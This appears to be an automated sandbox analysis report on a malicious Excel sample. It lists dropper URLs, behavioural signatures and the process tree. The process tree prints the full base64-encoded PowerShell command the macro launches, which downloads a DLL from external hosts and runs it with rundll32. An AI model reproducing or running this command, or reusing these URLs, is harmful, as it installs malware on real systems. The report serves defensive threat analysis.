Analysis

  • max time kernel
    39s
  • max time network
    89s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-en-20220113
  • submitted
    31/01/2022, 17:03

General

  • Target
    tmpc2fk8f8u.xls
  • Size 134KB
  • Sample220131-vkrmjaafg6
  • SHA256 ee4c35cdb0f34223bab8cbe0e95aa6f348ceb97b6dade6099e97631636e48362
  • MD5 SHA1 SHA512
Score
10/10

Malware Config

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • exe.dropper

    http://mytelefonist.de/wp-content/bLm8fxV2M/

  • exe.dropper

    https://www.yeald.finance/wp-content/uploads/jqAorV83quhL23HMg/

  • exe.dropper

    http://tattooblog.cn/wp-includes/7AvyW/

  • exe.dropper

    http://docs-construction.com/wp-admin/jDDqg/

  • exe.dropper

    http://sep.dfwsolar.club/hzh3v/poAgyopszuh6a1EIG/

  • exe.dropper

    http://b-lubisi-motivational-speaker.com/wp-admin/Wf5rQabNRai/

  • exe.dropper

    https://pmfstukm.com/wp-admin/SoenE35FXJBjVdnfME/

  • exe.dropper

    http://sesco-ks.com/wp-content/DJkMVMU6cBr45/

  • exe.dropper

    https://sangwin.in/magnisapiente/UzYqb1lvgq/

  • exe.dropper

    http://actividades.laforetlanguages.com/wp-admin/OfFq/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Sets service image path in registry 2 TTPs
  • Drops file in Windows directory 6 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Modifies data under HKEY_USERS 41 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 6 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 12 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\tmpc2fk8f8u.xls"
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:4996
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c choice /C Y /N /D Y /T 3&start /B /WAIT powershell -enc JABHAGQAcgBoAGsANAA9ACIAaAB0AHQAcAA6AC8ALwBtAHkAdABlAGwAZQBmAG8AbgBpAHMAdAAuAGQAZQAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwBiAEwAbQA4AGYAeABWADIATQAvACwAaAB0AHQAcABzADoALwAvAHcAdwB3AC4AeQBlAGEAbABkAC4AZgBpAG4AYQBuAGMAZQAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwB1AHAAbABvAGEAZABzAC8AagBxAEEAbwByAFYAOAAzAHEAdQBoAEwAMgAzAEgATQBnAC8ALABoAHQAdABwADoALwAvAHQAYQB0AHQAbwBvAGIAbABvAGcALgBjAG4ALwB3AHAALQBpAG4AYwBsAHUAZABlAHMALwA3AEEAdgB5AFcALwAsAGgAdAB0AHAAOgAvAC8AZABvAGMAcwAtAGMAbwBuAHMAdAByAHUAYwB0AGkAbwBuAC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwBqAEQARABxAGcALwAsAGgAdAB0AHAAOgAvAC8AcwBlAHAALgBkAGYAdwBzAG8AbABhAHIALgBjAGwAdQBiAC8AaAB6AGgAMwB2AC8AcABvAEEAZwB5AG8AcABzAHoAdQBoADYAYQAxAEUASQBHAC8ALABoAHQAdABwADoALwAvAGIALQBsAHUAYgBpAHMAaQAtAG0AbwB0AGkAdgBhAHQAaQBvAG4AYQBsAC0AcwBwAGUAYQBrAGUAcgAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8AVwBmADUAcgBRAGEAYgBOAFIAYQBpAC8ALABoAHQAdABwAHMAOgAvAC8AcABtAGYAcwB0AHUAawBtAC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwBTAG8AZQBuAEUAMwA1AEYAWABKAEIAagBWAGQAbgBmAE0ARQAvACwAaAB0AHQAcAA6AC8ALwBzAGUAcwBjAG8ALQBrAHMALgBjAG8AbQAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwBEAEoAawBNAFYATQBVADYAYwBCAHIANAA1AC8ALABoAHQAdABwAHMAOgAvAC8AcwBhAG4AZwB3AGkAbgAuAGkAbgAvAG0AYQBnAG4AaQBzAGEAcABpAGUAbgB0AGUALwBVAHoAWQBxAGIAMQBsAHYAZwBxAC8ALABoAHQAdABwADoALwAvAGEAYwB0AGkAdgBpAGQAYQBkAGUAcwAuAGwAYQBmAG8AcgBlAHQAbABhAG4AZwB1AGEAZwBlAHMALgBjAG8AbQAvAHcAcAAtAGEAZABtAGkAbgAvAE8AZgBGAHEALwAsAGgAdAB0AHAAOgAvAC8AcwBiAGMAbwBwAHkAbABpAHYAZQAuAGMAbwBtAC4AYgByAC8AdwBwAC0AYQBkAG0AaQBuAC8AaAB2AEEAWABxAFoAYwA0AEQAeQBLAEIAegBEAFoATwAvACIALgBTAHAAbABpAHQAKAAiACwAIgApADsAZgBvAHIAZQBhAGMAaAAoACQAcwB0ACAAaQBuACAAJABHAGQAcgBoAGsANAApAHsAJABoAGIAcgBrAGUAMgA9ACIAdgBiAGsAdwBrACIAOwAkAEcAcwBSAEUAdwB0ADQAPQBHAGUAdAAtAFIAYQBuAGQAbwBtADsAJABoAGQARwBlADUANQByAHUAcgA9ACIAYwA6AFwAcAByAG8AZwByAGEAbQBkAGEAdABhAFwAIgArACQAaABiAHIAawBlADIAKwAiAC4AZABsAGwAIgA7AEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQByAGkAIAAkAHMAdAAgAC0ATwB1AHQARgBpAGwAZQAgACQAaABkAEcAZQA1ADUAcgB1AHIAOwBpAGYAKABUAGUAcwB0AC0AUABhAHQAaAAgACQAaABkAEcAZQA1ADUAcgB1AHIAKQB7AGkAZgAoACgARwBlAHQALQBJAHQAZQBtACAAJABoAGQARwBlADUANQByAHUAcgApAC4ATABlAG4AZwB0AGgAIAAtAGcAZQAgADUAMAAwADAAMAApAHsAJABnAGgARABEAEYASgBIAGsANQBmAD0AIgBjADoAXAB3AGkAIgArACIAbgBkAG8AdwBzAFwAcwB5AHMAdwBvACIAKwAiAHcANgA0AFwAcgB1AG4AZABsACIAKwAiAGwAMwAyAC4AZQB4AGUAIgA7ACQAYgBuAFoAUgA2ADUAZAA9ACQAaABkAEcAZQA1ADUAcgB1AHIAKwAiACwAZgAiACsAJABHAHMAUgBFAHcAdAA0ADsAYgByAGUAYQBrADsAfQB9AH0A&c:\programdata\vkwer.bat
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:4164
      • C:\Windows\system32\choice.exe
        choice /C Y /N /D Y /T 3
        3⤵
          PID:3300
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -enc JABHAGQAcgBoAGsANAA9ACIAaAB0AHQAcAA6AC8ALwBtAHkAdABlAGwAZQBmAG8AbgBpAHMAdAAuAGQAZQAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwBiAEwAbQA4AGYAeABWADIATQAvACwAaAB0AHQAcABzADoALwAvAHcAdwB3AC4AeQBlAGEAbABkAC4AZgBpAG4AYQBuAGMAZQAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwB1AHAAbABvAGEAZABzAC8AagBxAEEAbwByAFYAOAAzAHEAdQBoAEwAMgAzAEgATQBnAC8ALABoAHQAdABwADoALwAvAHQAYQB0AHQAbwBvAGIAbABvAGcALgBjAG4ALwB3AHAALQBpAG4AYwBsAHUAZABlAHMALwA3AEEAdgB5AFcALwAsAGgAdAB0AHAAOgAvAC8AZABvAGMAcwAtAGMAbwBuAHMAdAByAHUAYwB0AGkAbwBuAC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwBqAEQARABxAGcALwAsAGgAdAB0AHAAOgAvAC8AcwBlAHAALgBkAGYAdwBzAG8AbABhAHIALgBjAGwAdQBiAC8AaAB6AGgAMwB2AC8AcABvAEEAZwB5AG8AcABzAHoAdQBoADYAYQAxAEUASQBHAC8ALABoAHQAdABwADoALwAvAGIALQBsAHUAYgBpAHMAaQAtAG0AbwB0AGkAdgBhAHQAaQBvAG4AYQBsAC0AcwBwAGUAYQBrAGUAcgAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8AVwBmADUAcgBRAGEAYgBOAFIAYQBpAC8ALABoAHQAdABwAHMAOgAvAC8AcABtAGYAcwB0AHUAawBtAC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwBTAG8AZQBuAEUAMwA1AEYAWABKAEIAagBWAGQAbgBmAE0ARQAvACwAaAB0AHQAcAA6AC8ALwBzAGUAcwBjAG8ALQBrAHMALgBjAG8AbQAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwBEAEoAawBNAFYATQBVADYAYwBCAHIANAA1AC8ALABoAHQAdABwAHMAOgAvAC8AcwBhAG4AZwB3AGkAbgAuAGkAbgAvAG0AYQBnAG4AaQBzAGEAcABpAGUAbgB0AGUALwBVAHoAWQBxAGIAMQBsAHYAZwBxAC8ALABoAHQAdABwADoALwAvAGEAYwB0AGkAdgBpAGQAYQBkAGUAcwAuAGwAYQBmAG8AcgBlAHQAbABhAG4AZwB1AGEAZwBlAHMALgBjAG8AbQAvAHcAcAAtAGEAZABtAGkAbgAvAE8AZgBGAHEALwAsAGgAdAB0AHAAOgAvAC8AcwBiAGMAbwBwAHkAbABpAHYAZQAuAGMAbwBtAC4AYgByAC8AdwBwAC0AYQBkAG0AaQBuAC8AaAB2AEEAWABxAFoAYwA0AEQAeQBLAEIAegBEAFoATwAvACIALgBTAHAAbABpAHQAKAAiACwAIgApADsAZgBvAHIAZQBhAGMAaAAoACQAcwB0ACAAaQBuACAAJABHAGQAcgBoAGsANAApAHsAJABoAGIAcgBrAGUAMgA9ACIAdgBiAGsAdwBrACIAOwAkAEcAcwBSAEUAdwB0ADQAPQBHAGUAdAAtAFIAYQBuAGQAbwBtADsAJABoAGQARwBlADUANQByAHUAcgA9ACIAYwA6AFwAcAByAG8AZwByAGEAbQBkAGEAdABhAFwAIgArACQAaABiAHIAawBlADIAKwAiAC4AZABsAGwAIgA7AEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQByAGkAIAAkAHMAdAAgAC0ATwB1AHQARgBpAGwAZQAgACQAaABkAEcAZQA1ADUAcgB1AHIAOwBpAGYAKABUAGUAcwB0AC0AUABhAHQAaAAgACQAaABkAEcAZQA1ADUAcgB1AHIAKQB7AGkAZgAoACgARwBlAHQALQBJAHQAZQBtACAAJABoAGQARwBlADUANQByAHUAcgApAC4ATABlAG4AZwB0AGgAIAAtAGcAZQAgADUAMAAwADAAMAApAHsAJABnAGgARABEAEYASgBIAGsANQBmAD0AIgBjADoAXAB3AGkAIgArACIAbgBkAG8AdwBzAFwAcwB5AHMAdwBvACIAKwAiAHcANgA0AFwAcgB1AG4AZABsACIAKwAiAGwAMwAyAC4AZQB4AGUAIgA7ACQAYgBuAFoAUgA2ADUAZAA9ACQAaABkAEcAZQA1ADUAcgB1AHIAKwAiACwAZgAiACsAJABHAHMAUgBFAHcAdAA0ADsAYgByAGUAYQBrADsAfQB9AH0A
          3⤵
            PID:5028
      • C:\Windows\System32\WaaSMedicAgent.exe
        C:\Windows\System32\WaaSMedicAgent.exe a165ed79848421116ce8a981caa4722d QJ+gZvkZV0aKvGAGlvlJ8A.0.1.0.0.0
        1⤵
        • Modifies data under HKEY_USERS
        PID:1680
      • C:\Windows\system32\svchost.exe
        C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv
        1⤵
        • Drops file in Windows directory
        • Suspicious use of AdjustPrivilegeToken
        PID:5064

      Network

            MITRE ATT&CK Enterprise v6

            Replay Monitor

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            Downloads

            memory/4996-130-0x00007FFF598D0000-0x00007FFF598E0000-memory.dmp

            memory/4996-131-0x00007FFF598D0000-0x00007FFF598E0000-memory.dmp

            memory/4996-132-0x00007FFF598D0000-0x00007FFF598E0000-memory.dmp

            memory/4996-133-0x00007FFF598D0000-0x00007FFF598E0000-memory.dmp

            memory/4996-134-0x00007FFF598D0000-0x00007FFF598E0000-memory.dmp

            memory/4996-135-0x00007FFF57130000-0x00007FFF57140000-memory.dmp

            memory/4996-136-0x00007FFF57130000-0x00007FFF57140000-memory.dmp

            memory/5064-143-0x0000023E86F40000-0x0000023E86F50000-memory.dmp

            memory/5064-144-0x0000023E89430000-0x0000023E89434000-memory.dmp